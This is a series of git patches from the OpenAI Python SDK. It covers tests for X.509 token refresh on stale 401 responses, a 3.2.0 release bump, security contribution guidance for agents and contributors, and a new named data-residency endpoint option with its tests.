+ api_authorizations: list[str] = []
+
+ async def handler(request: httpx2.Request) -> httpx2.Response:
+ nonlocal exchange_calls
+ if str(request.url) == _TOKEN_URL:
+ exchange_calls += 1
+ return httpx2.Response(
+ 200, request=request, json={"access_token": f"token-{exchange_calls}", "expires_in": 3600}
+ )
+
+ api_authorizations.append(request.headers["Authorization"])
+ if exchange_calls < 3:
+ return httpx2.Response(401, request=request, json={"error": {"message": "unauthorized"}})
+ return httpx2.Response(200, request=request, json={"object": "list", "data": []})
+
+ http_client = httpx2.AsyncClient(transport=httpx2.MockTransport(handler), trust_env=False)
+ async with AsyncOpenAI(workload_identity=_identity(), http_client=http_client, max_retries=0) as client:
+ with pytest.raises(APIStatusError, match="401"):
+ await client.models.list()
+ assert (await client.models.list()).object == "list"
+
+ assert exchange_calls == 3
+ assert api_authorizations == ["Bearer token-1", "Bearer token-2", "Bearer token-3"]
+
+
+def test_sync_x509_concurrent_stale_401_responses_share_one_replacement_token() -> None:
+ exchange_calls = 0
+ stale_requests = 0
+ state_lock = threading.Lock()
+ both_stale_requests = threading.Barrier(2)
+ replacement_issued = threading.Event()
+
+ def handler(request: httpx2.Request) -> httpx2.Response:
+ nonlocal exchange_calls, stale_requests
+ if str(request.url) == _TOKEN_URL:
+ with state_lock:
+ exchange_calls += 1
+ token_number = exchange_calls
+ if token_number == 2:
+ replacement_issued.set()
+ return httpx2.Response(
+ 200, request=request, json={"access_token": f"token-{token_number}", "expires_in": 3600}
+ )
+
+ authorization = request.headers["Authorization"]
+ if authorization == "Bearer token-1":
+ with state_lock:
+ stale_requests += 1
+ request_number = stale_requests
+ both_stale_requests.wait(timeout=5)
+ if request_number == 2:
+ assert replacement_issued.wait(timeout=5)
+ return httpx2.Response(401, request=request, json={"error": {"message": "unauthorized"}})
+
+ assert authorization == "Bearer token-2"
+ return httpx2.Response(200, request=request, json={"object": "list", "data": []})
+
+ http_client = httpx2.Client(transport=httpx2.MockTransport(handler), trust_env=False)
+ with OpenAI(workload_identity=_identity(), http_client=http_client, max_retries=0) as client:
+
+ def list_models(_: int) -> str:
+ return client.models.list().object
+
+ with ThreadPoolExecutor(max_workers=2) as executor:
+ responses = list(executor.map(list_models, range(2)))
+
+ assert responses == ["list", "list"]
+ assert exchange_calls == 2
+
+
+async def test_async_x509_concurrent_stale_401_responses_share_one_replacement_token() -> None:
+ exchange_calls = 0
+ stale_requests = 0
+ both_stale_requests = anyio.Event()
+ replacement_issued = anyio.Event()
+
+ async def handler(request: httpx2.Request) -> httpx2.Response:
+ nonlocal exchange_calls, stale_requests
+ if str(request.url) == _TOKEN_URL:
+ exchange_calls += 1
+ if exchange_calls == 2:
+ replacement_issued.set()
+ return httpx2.Response(
+ 200, request=request, json={"access_token": f"token-{exchange_calls}", "expires_in": 3600}
+ )
+
+ authorization = request.headers["Authorization"]
+ if authorization == "Bearer token-1":
+ stale_requests += 1
+ request_number = stale_requests
+ if stale_requests == 2:
+ both_stale_requests.set()
+ await both_stale_requests.wait()
+ if request_number == 2:
+ await replacement_issued.wait()
+ return httpx2.Response(401, request=request, json={"error": {"message": "unauthorized"}})
+
+ assert authorization == "Bearer token-2"
+ return httpx2.Response(200, request=request, json={"object": "list", "data": []})
+
+ http_client = httpx2.AsyncClient(transport=httpx2.MockTransport(handler), trust_env=False)
+ async with AsyncOpenAI(workload_identity=_identity(), http_client=http_client, max_retries=0) as client:
+ responses = await asyncio.gather(client.models.list(), client.models.list())
+
+ assert [response.object for response in responses] == ["list", "list"]
+ assert exchange_calls == 2
From 3e8301c6d9809e1b1da2d0c3e173c5e902c121f0 Mon Sep 17 00:00:00 2001
From: "openai-sdks[bot]" <284451331+openai-sdks[bot]@users.noreply.github.com>
Date: Mon, 17 Aug 2026 19:10:16 +0000
Subject: [PATCH 021/341] release: 3.2.0 (#3638)
Automated Release PR
---
##
[3.2.0](https://github.com/openai/openai-python/compare/v3.1.0...v3.2.0)
(2026-08-17)
### Features
* add Bedrock Runtime endpoint support (SDK-290)
([#3623](https://github.com/openai/openai-python/issues/3623))
([86267d2](https://github.com/openai/openai-python/commit/86267d2737e61e389e9260a18f99bcc1a634811b))
* **api:** Add shell call streaming events and new service/image types
([#3635](https://github.com/openai/openai-python/issues/3635))
([ff14a33](https://github.com/openai/openai-python/commit/ff14a33c1b21c36b9e43a0150a3818ee3aa3712a))
---
This PR was generated with [Release
Please](https://github.com/googleapis/release-please). See
[documentation](https://github.com/googleapis/release-please#release-please).
Co-authored-by: openai-sdks[bot] <284451331+openai-sdks[bot]@users.noreply.github.com>
---
.release-please-manifest.json | 2 +-
CHANGELOG.md | 8 ++++++++
pyproject.toml | 2 +-
src/openai/_version.py | 2 +-
uv.lock | 2 +-
5 files changed, 12 insertions(+), 4 deletions(-)
diff --git a/.release-please-manifest.json b/.release-please-manifest.json
index e0dc5001b1..1f73031b89 100644
--- a/.release-please-manifest.json
+++ b/.release-please-manifest.json
@@ -1,3 +1,3 @@
{
- ".": "3.1.0"
+ ".": "3.2.0"
}
\ No newline at end of file
diff --git a/CHANGELOG.md b/CHANGELOG.md
index 0c92902b62..86c4dcff8a 100644
--- a/CHANGELOG.md
+++ b/CHANGELOG.md
@@ -1,5 +1,13 @@
# Changelog
+## [3.2.0](https://github.com/openai/openai-python/compare/v3.1.0...v3.2.0) (2026-08-17)
+
+
+### Features
+
+* add Bedrock Runtime endpoint support (SDK-290) ([#3623](https://github.com/openai/openai-python/issues/3623)) ([86267d2](https://github.com/openai/openai-python/commit/86267d2737e61e389e9260a18f99bcc1a634811b))
+* **api:** Add shell call streaming events and new service/image types ([#3635](https://github.com/openai/openai-python/issues/3635)) ([ff14a33](https://github.com/openai/openai-python/commit/ff14a33c1b21c36b9e43a0150a3818ee3aa3712a))
+
## [3.1.0](https://github.com/openai/openai-python/compare/v3.0.0...v3.1.0) (2026-08-14)
diff --git a/pyproject.toml b/pyproject.toml
index e0e68bc878..552d30e64b 100644
--- a/pyproject.toml
+++ b/pyproject.toml
@@ -1,6 +1,6 @@
[project]
name = "openai"
-version = "3.1.0"
+version = "3.2.0"
description = "The official Python library for the openai API"
dynamic = ["readme"]
license = "Apache-2.0"
diff --git a/src/openai/_version.py b/src/openai/_version.py
index 5b7a25b349..3bb768f6ae 100644
--- a/src/openai/_version.py
+++ b/src/openai/_version.py
@@ -1,2 +1,2 @@
__title__ = "openai"
-__version__ = "3.1.0" # x-release-please-version
+__version__ = "3.2.0" # x-release-please-version
diff --git a/uv.lock b/uv.lock
index 0b601af50c..639ea6e4b1 100644
--- a/uv.lock
+++ b/uv.lock
@@ -909,7 +909,7 @@ wheels = [
[[package]]
name = "openai"
-version = "3.1.0" # x-release-please-version
+version = "3.2.0" # x-release-please-version
source = { editable = "." }
dependencies = [
{ name = "anyio" },
From 6577709190ae5e258d0270870f701432f67e6a3e Mon Sep 17 00:00:00 2001
From: Hayden
Date: Mon, 17 Aug 2026 14:35:51 -0700
Subject: [PATCH 022/341] docs: strengthen Python SDK security contribution
guidance (#3639)
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
- [x] I understand that this repository is auto-generated and my pull
request may not be merged
## Changes being requested
- Add focused Python SDK security requirements for coding agents and
contributors: safe fake fixtures, credential and log redaction,
direct/transitive dependency and lockfile review, reviewed GitHub Action
pins, least-privilege CI, and protected PyPI Trusted Publishing.
- Require SDK CODEOWNER review and relevant synchronous/asynchronous
regression tests for authentication, X.509, webhook, network, file,
serialization, dependency, and release-sensitive changes.
- Explicitly direct vulnerability reports to the existing private
coordinated-disclosure process instead of public issues, discussions, or
pull requests.
## Verification
- `git diff --check`
- CommonMark parsing, local-link validation, security-policy coverage
assertions, and credential-like-literal checks for all three changed
Markdown files.
- `python scripts/check-python-version-policy.py` — passed.
- `python -m pytest -o addopts= -p no:cacheprovider -k 'not aiohttp'
tests/test_utils/test_logging.py tests/test_auth.py
tests/api_resources/test_webhooks.py` — 72 passed; 13 optional `aiohttp`
cases were deselected because that extra is absent from the existing
environment.
## Additional context & links
Documentation only: no generated SDK source, GitHub workflows,
repository settings, credentials, or release controls were changed.
---
AGENTS.md | 29 +++++++++++++++++++++++++++++
CONTRIBUTING.md | 26 ++++++++++++++++++++++++++
SECURITY.md | 5 +++++
3 files changed, 60 insertions(+)
diff --git a/AGENTS.md b/AGENTS.md
index 4e5f885ebc..b15995321f 100644
--- a/AGENTS.md
+++ b/AGENTS.md
@@ -7,6 +7,35 @@ changing generated files. Handwritten policy, automation, tests, and examples
should remain small and should not alter exported SDK APIs unless the change
explicitly requires it.
+## Security requirements for coding agents
+
+- Never commit real API or admin keys, bearer tokens, webhook secrets, cloud
+ credentials, X.509 private keys, release credentials, or `.env` files. Read
+ `OPENAI_API_KEY`, `OPENAI_ADMIN_KEY`, `OPENAI_WEBHOOK_SECRET`, and other
+ credentials from the environment; use clearly fake examples and fixtures.
+- Redact credentials, `Authorization` and `api-key` headers, customer data, and
+ sensitive request or response bodies from logs, exceptions, snapshots, and
+ test output. Clearly fake or sanitized fixtures and safe `APIError.body`
+ diagnostics may remain. Preserve existing sensitive-header filtering,
+ including debug logging.
+- Review direct and transitive dependency changes in `pyproject.toml`, optional
+ extras, `requirements.lock`, `requirements-dev.lock`, and `uv.lock`. Check
+ package provenance, build backends, and install scripts before accepting or
+ running them.
+- Pin third-party GitHub Actions to reviewed full commit SHAs. Minimize
+ job-level token permissions and never expose secrets or write-capable tokens
+ to untrusted pull-request code.
+- Preserve separate build and publish jobs, protected release credentials, and
+ PyPI Trusted Publishing. Grant `id-token: write` only to the trusted,
+ upload-only publishing job; do not introduce long-lived PyPI tokens.
+- Obtain SDK CODEOWNER review and add focused synchronous and asynchronous
+ security regression tests, as applicable, for changes to authentication,
+ X.509 or webhook verification, HTTP destinations, redirects, proxies, TLS,
+ cloud metadata, file uploads, serialization, dependencies, GitHub Actions,
+ or release workflows.
+- Report suspected vulnerabilities privately as described in `SECURITY.md`;
+ never disclose them in public issues, pull requests, or logs.
+
## Python version policy
- `requires-python` in `pyproject.toml` is the authoritative technical minimum.
diff --git a/CONTRIBUTING.md b/CONTRIBUTING.md
index 8a31c653a7..3fe1f8f15b 100644
--- a/CONTRIBUTING.md
+++ b/CONTRIBUTING.md
@@ -43,6 +43,32 @@ Most of the SDK is generated code. Modifications to code will be persisted betwe
result in merge conflicts between manual patches and changes from the generator. The generator will never
modify the contents of the `src/openai/lib/` and `examples/` directories.
+## Security requirements for contributions
+
+- Never commit API or admin keys, bearer tokens, webhook secrets, cloud
+ credentials, private keys, publishing credentials, or `.env` files. Load real
+ credentials from environment variables such as `OPENAI_API_KEY`,
+ `OPENAI_ADMIN_KEY`, and `OPENAI_WEBHOOK_SECRET`; use clearly fake values and
+ sanitized data in examples, tests, fixtures, and recorded responses.
+- Redact `Authorization` and `api-key` headers, other credentials, and customer
+ request or response data from logs, exceptions, snapshots, and debug output.
+ Prefer the mock server or mocked HTTP transport over live credentials in tests.
+- Review direct and transitive dependency changes, package provenance, build or
+ install hooks, and diffs to `pyproject.toml`, optional extras,
+ `requirements.lock`, `requirements-dev.lock`, and `uv.lock`.
+- Pin third-party GitHub Actions to reviewed full commit SHAs, minimize job
+ permissions, and keep secrets and write-capable tokens away from untrusted
+ pull-request code. Protect release-app credentials and preserve the separate
+ build and upload jobs, protected publishing environment, and PyPI Trusted
+ Publishing. Limit OIDC access to the trusted publishing job.
+- Request SDK CODEOWNER review for authentication, X.509, webhook verification,
+ network destinations, redirects, TLS, cloud metadata, file handling,
+ serialization, dependency, CI, and release changes. Add synchronous and
+ asynchronous regression tests as applicable, including credential redaction
+ and invalid signatures.
+- Report suspected vulnerabilities privately through the process in
+ [SECURITY.md](./SECURITY.md), never through public issues or pull requests.
+
## Adding and running examples
All files in the `examples/` directory are not modified by the generator and can be freely edited or added to.
diff --git a/SECURITY.md b/SECURITY.md
index ece2734f01..aa583877fa 100644
--- a/SECURITY.md
+++ b/SECURITY.md
@@ -6,6 +6,11 @@ Please report potential security vulnerabilities through OpenAI's
[coordinated vulnerability disclosure process](https://openai.com/policies/coordinated-vulnerability-disclosure-policy).
For questions about that process, contact disclosure@openai.com.
+Do not report vulnerabilities through public GitHub issues, discussions, pull
+requests, or other public channels. When reporting privately, include the
+affected SDK version, impact, and reproduction steps where possible; redact API
+keys, authentication headers, private keys, and customer data from all reports.
+
## Responsible Disclosure
Please allow OpenAI a reasonable amount of time to investigate and address the
From 11ee91475694d9cd77813763707fbadf68806d4f Mon Sep 17 00:00:00 2001
From: Alex Chang
Date: Tue, 18 Aug 2026 14:28:12 +0000
Subject: [PATCH 023/341] feat: support named data-residency endpoints (#3646)
## Summary
Let applications select an OpenAI regional endpoint by name instead of
assembling base URLs themselves. The new `data_residency` option
supports `global`, `us`, `eu`, and `ae`, applies consistently to
synchronous/asynchronous clients and their copies, and keeps HTTP and
WebSocket routing aligned.
Explicit endpoint conflicts and third-party provider combinations fail
locally. This selects routing only; it does not change project
eligibility or provide regional fallback.
Co-authored-by: apcha-oai <228803254+apcha-oai@users.noreply.github.com>
---
.castiron.stats.yml | 6 +-
src/openai/__init__.py | 2 +
src/openai/_client.py | 35 +++++-
src/openai/_data_residency.py | 40 +++++++
src/openai/lib/azure.py | 13 ++-
src/openai/lib/bedrock.py | 13 ++-
tests/test_data_residency_contract.py | 134 +++++++++++++++++++++++
tests/test_data_residency_regressions.py | 108 ++++++++++++++++++
8 files changed, 338 insertions(+), 13 deletions(-)
create mode 100644 src/openai/_data_residency.py
create mode 100644 tests/test_data_residency_contract.py
create mode 100644 tests/test_data_residency_regressions.py
diff --git a/.castiron.stats.yml b/.castiron.stats.yml
index 048a8a4bc7..5ffde321fa 100644
--- a/.castiron.stats.yml
+++ b/.castiron.stats.yml
@@ -1,6 +1,6 @@
schema_version: 1
-generation_id: e8613c5d-522c-4786-b0b1-1be514cf0c19
+generation_id: 04cb977a-ba1d-438c-a56e-94f269e79218
openapi_spec_hash: dd725fb7d43ceec7fb2de6f8713d14b6
openapi_transformed_spec_hash: 10930179c5f116288e24e0c6fda46559
-config_hash: 28f37c225c55c75547d4feb84ee71044
-codegen_sha: 2f6710b1a3501b9c0ee796f45ebada0d93d27bfd
+config_hash: 85382dd94c503b5d225adc7636a77c9f
+codegen_sha: 6e990f52e3cbdeaae602710a1b0f2a2c944a5c35
diff --git a/src/openai/__init__.py b/src/openai/__init__.py
index 5a8621cf4c..048fec168e 100644
--- a/src/openai/__init__.py
+++ b/src/openai/__init__.py
@@ -39,6 +39,7 @@
)
from ._base_client import DefaultHttpxClient, DefaultAioHttpClient, DefaultAsyncHttpxClient
from ._utils._logs import setup_logging as _setup_logging
+from ._data_residency import DataResidency
from ._legacy_response import HttpxBinaryResponseContent as HttpxBinaryResponseContent
from .types.websocket_reconnection import ReconnectingEvent, ReconnectingOverrides
@@ -74,6 +75,7 @@
"InvalidWebhookSignatureError",
"Timeout",
"RequestOptions",
+ "DataResidency",
"Client",
"AsyncClient",
"Stream",
diff --git a/src/openai/_client.py b/src/openai/_client.py
index 01c75f733e..9cf48b5d28 100644
--- a/src/openai/_client.py
+++ b/src/openai/_client.py
@@ -49,6 +49,7 @@
SyncAPIClient,
AsyncAPIClient,
)
+from ._data_residency import DataResidency, resolve_data_residency
if TYPE_CHECKING:
from .resources import (
@@ -158,7 +159,8 @@ def __init__(
project: str | None = None,
webhook_secret: str | None = None,
provider: _Provider | None = None,
- base_url: str | httpx2.URL | None = None,
+ base_url: str | httpx2.URL | None | NotGiven = not_given,
+ data_residency: DataResidency | None = None,
websocket_base_url: str | httpx2.URL | None = None,
timeout: float | Timeout | None | NotGiven = not_given,
max_retries: int = DEFAULT_MAX_RETRIES,
@@ -189,7 +191,12 @@ def __init__(
- `webhook_secret` from `OPENAI_WEBHOOK_SECRET`
When `provider` is supplied, authentication and the base URL are configured by that provider instead.
+ `data_residency` selects an OpenAI regional endpoint and cannot be combined with
+ `base_url`, `websocket_base_url`, or `provider`.
"""
+ base_url = resolve_data_residency(
+ data_residency, base_url, provider=provider, websocket_base_url=websocket_base_url
+ )
provider_runtime: _ProviderRuntime | None = None
if provider is not None:
provider_name = _provider_name(provider)
@@ -656,7 +663,8 @@ def copy(
project: str | None = None,
webhook_secret: str | None = None,
websocket_base_url: str | httpx2.URL | None = None,
- base_url: str | httpx2.URL | None = None,
+ base_url: str | httpx2.URL | None | NotGiven = not_given,
+ data_residency: DataResidency | None = None,
timeout: float | Timeout | None | NotGiven = not_given,
http_client: httpx2.Client | None = None,
max_retries: int | NotGiven = not_given,
@@ -669,6 +677,7 @@ def copy(
) -> Self:
"""
Create a new client instance re-using the same options given to the current client with optional overriding.
+ `data_residency` replaces the inherited HTTP and WebSocket endpoints, without changing this client.
"""
if default_headers is not None and set_default_headers is not None:
raise ValueError("The `default_headers` and `set_default_headers` arguments are mutually exclusive")
@@ -695,6 +704,9 @@ def copy(
http_client = http_client or self._client
next_provider = self._provider if isinstance(provider, NotGiven) else provider
+ base_url = resolve_data_residency(
+ data_residency, base_url, provider=next_provider, websocket_base_url=websocket_base_url
+ )
preserve_default_base_url = False
auth_options: dict[str, Any]
if next_provider is not None:
@@ -734,7 +746,7 @@ def copy(
organization=organization or inherited_organization,
project=project or inherited_project,
webhook_secret=webhook_secret or self.webhook_secret,
- websocket_base_url=websocket_base_url or self.websocket_base_url,
+ websocket_base_url=None if data_residency is not None else websocket_base_url or self.websocket_base_url,
timeout=self.timeout if isinstance(timeout, NotGiven) else timeout,
http_client=http_client,
max_retries=max_retries if is_given(max_retries) else self.max_retries,
@@ -831,7 +843,8 @@ def __init__(
project: str | None = None,
webhook_secret: str | None = None,
provider: _Provider | None = None,
- base_url: str | httpx2.URL | None = None,
+ base_url: str | httpx2.URL | None | NotGiven = not_given,
+ data_residency: DataResidency | None = None,
websocket_base_url: str | httpx2.URL | None = None,
timeout: float | Timeout | None | NotGiven = not_given,
max_retries: int = DEFAULT_MAX_RETRIES,
@@ -862,7 +875,12 @@ def __init__(
- `webhook_secret` from `OPENAI_WEBHOOK_SECRET`
When `provider` is supplied, authentication and the base URL are configured by that provider instead.
+ `data_residency` selects an OpenAI regional endpoint and cannot be combined with
+ `base_url`, `websocket_base_url`, or `provider`.
"""
+ base_url = resolve_data_residency(
+ data_residency, base_url, provider=provider, websocket_base_url=websocket_base_url
+ )
provider_runtime: _ProviderRuntime | None = None
if provider is not None:
provider_name = _provider_name(provider)
@@ -1342,7 +1360,8 @@ def copy(
project: str | None = None,
webhook_secret: str | None = None,
websocket_base_url: str | httpx2.URL | None = None,
- base_url: str | httpx2.URL | None = None,
+ base_url: str | httpx2.URL | None | NotGiven = not_given,
+ data_residency: DataResidency | None = None,
timeout: float | Timeout | None | NotGiven = not_given,
http_client: httpx2.AsyncClient | None = None,
max_retries: int | NotGiven = not_given,
@@ -1355,6 +1374,7 @@ def copy(
) -> Self:
"""
Create a new client instance re-using the same options given to the current client with optional overriding.
+ `data_residency` replaces the inherited HTTP and WebSocket endpoints, without changing this client.
"""
if default_headers is not None and set_default_headers is not None:
raise ValueError("The `default_headers` and `set_default_headers` arguments are mutually exclusive")
@@ -1380,6 +1400,9 @@ def copy(
http_client = http_client or self._client
next_provider = self._provider if isinstance(provider, NotGiven) else provider
+ base_url = resolve_data_residency(
+ data_residency, base_url, provider=next_provider, websocket_base_url=websocket_base_url
+ )
preserve_default_base_url = False
auth_options: dict[str, Any]
if next_provider is not None:
@@ -1419,7 +1442,7 @@ def copy(
organization=organization or inherited_organization,
project=project or inherited_project,
webhook_secret=webhook_secret or self.webhook_secret,
- websocket_base_url=websocket_base_url or self.websocket_base_url,
+ websocket_base_url=None if data_residency is not None else websocket_base_url or self.websocket_base_url,
timeout=self.timeout if isinstance(timeout, NotGiven) else timeout,
http_client=http_client,
max_retries=max_retries if is_given(max_retries) else self.max_retries,
diff --git a/src/openai/_data_residency.py b/src/openai/_data_residency.py
new file mode 100644
index 0000000000..965eb99ee6
--- /dev/null
+++ b/src/openai/_data_residency.py
@@ -0,0 +1,40 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from __future__ import annotations
+
+from typing import Literal, cast
+
+import httpx2
+
+from ._types import NotGiven
+from ._exceptions import OpenAIError
+
+DataResidency = Literal["global", "us", "eu", "ae"]
+
+_DATA_RESIDENCY_BASE_URLS: dict[DataResidency, str] = {
+ "global": "https://api.openai.com/v1",
+ "us": "https://us.api.openai.com/v1",
+ "eu": "https://eu.api.openai.com/v1",
+ "ae": "https://ae.api.openai.com/v1",
+}
+
+
+def resolve_data_residency(
+ data_residency: DataResidency | None,
+ base_url: str | httpx2.URL | None | NotGiven,
+ *,
+ provider: object | None = None,
+ websocket_base_url: str | httpx2.URL | None = None,
+) -> str | httpx2.URL | None:
+ """Resolve a named endpoint before inherited or environment options are applied."""
+ if data_residency is None:
+ return None if isinstance(base_url, NotGiven) else base_url
+ if not isinstance(base_url, NotGiven):
+ raise ValueError("The `data_residency` and `base_url` arguments are mutually exclusive")
+ if websocket_base_url is not None:
+ raise ValueError("The `data_residency` and `websocket_base_url` arguments are mutually exclusive")
+ if provider is not None:
+ raise OpenAIError("The `data_residency` and `provider` arguments are mutually exclusive")
+ if not isinstance(cast(object, data_residency), str) or data_residency not in _DATA_RESIDENCY_BASE_URLS:
+ raise ValueError("Invalid `data_residency`; expected one of 'global', 'us', 'eu', or 'ae'")
+ return _DATA_RESIDENCY_BASE_URLS[data_residency]
diff --git a/src/openai/lib/azure.py b/src/openai/lib/azure.py
index bac8c68296..5a17ea7326 100644
--- a/src/openai/lib/azure.py
+++ b/src/openai/lib/azure.py
@@ -19,6 +19,7 @@
from ..auth._x509 import is_x509_workload_identity
from .._exceptions import OpenAIError
from .._base_client import DEFAULT_MAX_RETRIES, BaseClient
+from .._data_residency import DataResidency
_deployments_endpoints = set(
[
@@ -297,7 +298,8 @@ def copy(
api_version: str | None = None,
azure_ad_token: str | None = None,
azure_ad_token_provider: AzureADTokenProvider | None = None,
- base_url: str | httpx2.URL | None = None,
+ base_url: str | httpx2.URL | None | NotGiven = NOT_GIVEN,
+ data_residency: DataResidency | None = None,
timeout: float | Timeout | None | NotGiven = NOT_GIVEN,
http_client: httpx2.Client | None = None,
max_retries: int | NotGiven = NOT_GIVEN,
@@ -311,6 +313,9 @@ def copy(
"""
Create a new client instance re-using the same options given to the current client with optional overriding.
"""
+ if data_residency is not None:
+ raise OpenAIError("`data_residency` is only supported by OpenAI clients")
+ base_url = None if isinstance(base_url, NotGiven) else base_url
if not isinstance(provider, NotGiven):
raise OpenAIError("Configure `provider` on `OpenAI`, not on `AzureOpenAI.with_options()`.")
if is_x509_workload_identity(workload_identity):
@@ -626,7 +631,8 @@ def copy(
api_version: str | None = None,
azure_ad_token: str | None = None,
azure_ad_token_provider: AsyncAzureADTokenProvider | None = None,
- base_url: str | httpx2.URL | None = None,
+ base_url: str | httpx2.URL | None | NotGiven = NOT_GIVEN,
+ data_residency: DataResidency | None = None,
timeout: float | Timeout | None | NotGiven = NOT_GIVEN,
http_client: httpx2.AsyncClient | None = None,
max_retries: int | NotGiven = NOT_GIVEN,
@@ -640,6 +646,9 @@ def copy(
"""
Create a new client instance re-using the same options given to the current client with optional overriding.
"""
+ if data_residency is not None:
+ raise OpenAIError("`data_residency` is only supported by OpenAI clients")
+ base_url = None if isinstance(base_url, NotGiven) else base_url
if not isinstance(provider, NotGiven):
raise OpenAIError("Configure `provider` on `AsyncOpenAI`, not on `AsyncAzureOpenAI.with_options()`.")
if is_x509_workload_identity(workload_identity):
diff --git a/src/openai/lib/bedrock.py b/src/openai/lib/bedrock.py
index e83ac0e887..2779a419dd 100644
--- a/src/openai/lib/bedrock.py
+++ b/src/openai/lib/bedrock.py
@@ -18,6 +18,7 @@
from .._provider import _Provider, _configure_provider
from .._exceptions import OpenAIError
from .._base_client import DEFAULT_MAX_RETRIES
+from .._data_residency import DataResidency
from ..providers.bedrock import (
AwsCredentialsProvider,
bedrock,
@@ -549,7 +550,8 @@ def copy(
project: str | None = None,
webhook_secret: str | None = None,
websocket_base_url: str | httpx2.URL | None = None,
- base_url: str | httpx2.URL | None = None,
+ base_url: str | httpx2.URL | None | NotGiven = NOT_GIVEN,
+ data_residency: DataResidency | None = None,
timeout: float | Timeout | None | NotGiven = NOT_GIVEN,
http_client: httpx2.Client | None = None,
max_retries: int | NotGiven = NOT_GIVEN,
@@ -560,6 +562,9 @@ def copy(
_enforce_credentials: bool | None = None,
_extra_kwargs: Mapping[str, Any] = {},
) -> Self:
+ if data_residency is not None:
+ raise OpenAIError("`data_residency` is only supported by OpenAI clients")
+ base_url = None if isinstance(base_url, NotGiven) else base_url
if callable(api_key):
raise OpenAIError("Pass refreshable Bedrock credentials via `bedrock_token_provider`, not `api_key`.")
if not isinstance(provider, NotGiven):
@@ -783,7 +788,8 @@ def copy(
project: str | None = None,
webhook_secret: str | None = None,
websocket_base_url: str | httpx2.URL | None = None,
- base_url: str | httpx2.URL | None = None,
+ base_url: str | httpx2.URL | None | NotGiven = NOT_GIVEN,
+ data_residency: DataResidency | None = None,
timeout: float | Timeout | None | NotGiven = NOT_GIVEN,
http_client: httpx2.AsyncClient | None = None,
max_retries: int | NotGiven = NOT_GIVEN,
@@ -794,6 +800,9 @@ def copy(
_enforce_credentials: bool | None = None,
_extra_kwargs: Mapping[str, Any] = {},
) -> Self:
+ if data_residency is not None:
+ raise OpenAIError("`data_residency` is only supported by OpenAI clients")
+ base_url = None if isinstance(base_url, NotGiven) else base_url
if callable(api_key):
raise OpenAIError("Pass refreshable Bedrock credentials via `bedrock_token_provider`, not `api_key`.")
if not isinstance(provider, NotGiven):
diff --git a/tests/test_data_residency_contract.py b/tests/test_data_residency_contract.py
new file mode 100644
index 0000000000..6f3d5e9532
--- /dev/null
+++ b/tests/test_data_residency_contract.py
@@ -0,0 +1,134 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from __future__ import annotations
+
+import json
+from typing import Any, cast, get_args
+
+import httpx2
+import pytest
+
+from openai import OpenAI, AsyncOpenAI, DataResidency
+
+REGIONS: list[tuple[DataResidency, str]] = [
+ ("global", "https://api.openai.com/v1"),
+ ("us", "https://us.api.openai.com/v1"),
+ ("eu", "https://eu.api.openai.com/v1"),
+ ("ae", "https://ae.api.openai.com/v1"),
+]
+
+
+@pytest.fixture(autouse=True)
+def clear_environment(monkeypatch: pytest.MonkeyPatch) -> None:
+ for name in ("OPENAI_API_KEY", "OPENAI_ADMIN_KEY", "OPENAI_BASE_URL", "OPENAI_CUSTOM_HEADERS"):
+ monkeypatch.delenv(name, raising=False)
+
+
+def test_public_type() -> None:
+ assert set(get_args(DataResidency)) == {region for region, _ in REGIONS}
+
+
+@pytest.mark.parametrize("client_type", [OpenAI, AsyncOpenAI])
+@pytest.mark.parametrize(("region", "url"), REGIONS)
+def test_constructor_and_copy_mappings(
+ client_type: type[OpenAI] | type[AsyncOpenAI], region: DataResidency, url: str
+) -> None:
+ original = client_type(api_key="test-key", base_url="https://original.example/v1")
+ regional = original.with_options(data_residency=region)
+ assert regional.base_url == httpx2.URL(url.rstrip("/") + "/")
+ assert client_type(api_key="test-key", data_residency=region).base_url == regional.base_url
+ assert original.base_url == httpx2.URL("https://original.example/v1/")
+ assert regional._client is original._client
+ assert regional.copy().base_url == regional.base_url
+ assert regional.with_options(data_residency=None).base_url == regional.base_url
+ assert regional.with_options(base_url="https://override.example/v1").base_url == httpx2.URL(
+ "https://override.example/v1/"
+ )
+
+
+@pytest.mark.parametrize("client_type", [OpenAI, AsyncOpenAI])
+@pytest.mark.parametrize("base_url", [None, "https://custom.example/v1", httpx2.URL("https://custom.example/v1")])
+def test_explicit_base_url_conflicts(
+ client_type: type[OpenAI] | type[AsyncOpenAI], base_url: str | httpx2.URL | None
+) -> None:
+ region = REGIONS[0][0]
+ with pytest.raises(ValueError, match="mutually exclusive"):
+ client_type(api_key="test-key", data_residency=region, base_url=base_url)
+ client = client_type(api_key="test-key")
+ with pytest.raises(ValueError, match="mutually exclusive"):
+ client.with_options(base_url=base_url, data_residency=region)
+ assert client.with_options(base_url=base_url, data_residency=None).base_url == (
+ httpx2.URL(str(base_url).rstrip("/") + "/") if base_url is not None else client.base_url
+ )
+
+
+@pytest.mark.parametrize("client_type", [OpenAI, AsyncOpenAI])
+@pytest.mark.parametrize("region", ["", "UNKNOWN-RESIDENCY", 42, []])
+def test_unknown_regions_fail_locally(client_type: type[OpenAI] | type[AsyncOpenAI], region: object) -> None:
+ with pytest.raises(ValueError, match="Invalid `data_residency`"):
+ client_type(api_key="test-key", data_residency=cast(Any, region))
+ with pytest.raises(ValueError, match="Invalid `data_residency`"):
+ client_type(api_key="test-key").copy(data_residency=cast(Any, region))
+
+
+@pytest.mark.parametrize("client_type", [OpenAI, AsyncOpenAI])
+@pytest.mark.parametrize(("region", "url"), REGIONS)
+def test_environment_is_not_an_explicit_conflict(
+ client_type: type[OpenAI] | type[AsyncOpenAI], region: DataResidency, url: str, monkeypatch: pytest.MonkeyPatch
+) -> None:
+ monkeypatch.setenv("OPENAI_BASE_URL", "https://environment.example/v1")
+ assert client_type(api_key="test-key", data_residency=region).base_url == httpx2.URL(url.rstrip("/") + "/")
+ original = client_type(api_key="test-key", base_url=None)
+ assert original.base_url == httpx2.URL("https://environment.example/v1/")
+ regional = original.copy(data_residency=region)
+ monkeypatch.setenv("OPENAI_BASE_URL", "https://changed.example/v1")
+ assert regional.copy().base_url == regional.base_url
+ assert regional.copy(base_url=None).base_url == regional.base_url
+
+
+def check_request(request: httpx2.Request) -> httpx2.Response:
+ assert request.url == httpx2.URL(REGIONS[0][1].rstrip("/") + "/data-residency-contract")
